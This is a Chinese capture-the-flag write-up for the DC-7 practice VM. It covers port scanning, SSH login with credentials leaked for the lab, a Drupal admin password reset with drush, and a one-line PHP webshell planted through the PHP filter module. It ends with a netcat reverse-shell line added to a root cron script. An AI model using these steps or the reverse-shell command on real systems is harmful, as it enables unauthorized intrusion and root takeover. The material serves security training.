前言
其他DC靶机攻略请查看我的其他文章。
一、DC-7的信息收集
DC-7靶机开启后,可以直接看到IP地址,我们直接nmap扫描查看一下目标开放的端口:  扫描后我们可以查看到目标开放了80与22端口,并且网站的框架采用了Drupal8(后面会有用) 访问80端口,进入网站后需要登陆 在github上DC-7给出了一个用户名与密码 可是并不能登陆  
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
尝试登陆SSH,成功登陆。  查看mbox文件,发现一个计划任务,会以root用户执行的.sh文件。  查看了下权限和文件内容,只有root用户和www-data才有权限编写,看来突破点不在这里  但是在执行文件中,我们看到了在/var/www/html/路径下,会利用drush命令,我们可以利用这点命令
注意:drush命令一般用来操作Drupal8框架,因此我们可以修改Drupal8框架的登陆密码,但是必须在规定目录下执行
我们进入规定目录,输入命令:
drush user-password admin --password=123

进入目标网站,成功登陆 点击content,add content发现自己可以自己创建文章并上传,考虑上传一句话木马  但是问题出在我们不可以选择PHP格式,也不能在body中构建一句话,因为不管构建任何语句,都会被当做body原样输出。所以我们需要点击extend添加PHP插件,并勾选php filter 
 现在发现可以成功输入php代码了,写入一句话木马。  使用蚁剑链接,连接成功,点击虚拟终端,发现身份是www-data  我们在/opt/scripts/目录下给backups.sh文件添加一句命令
nc 192.168.159.128 4396 -e /bin/sh
监听该ip的4396端口并将输入的命令用/bin/sh执行  在我们的攻击机上监听4396端口。等待靶机的计划任务触发  成功触发,提权成功。

总结
· 本文的主要点在于cron计划任务的掌握,以及文件上传一句话木马切换用户 · 我们切换到www-data的目的就是为了可以修改backups.sh文件 · www-data是默认运行web服务的用户/组,一般在通过apt安装web服务程序时生成 · 修改了backups.sh文件后,等待计划任务的执行。 · 成功提权!
|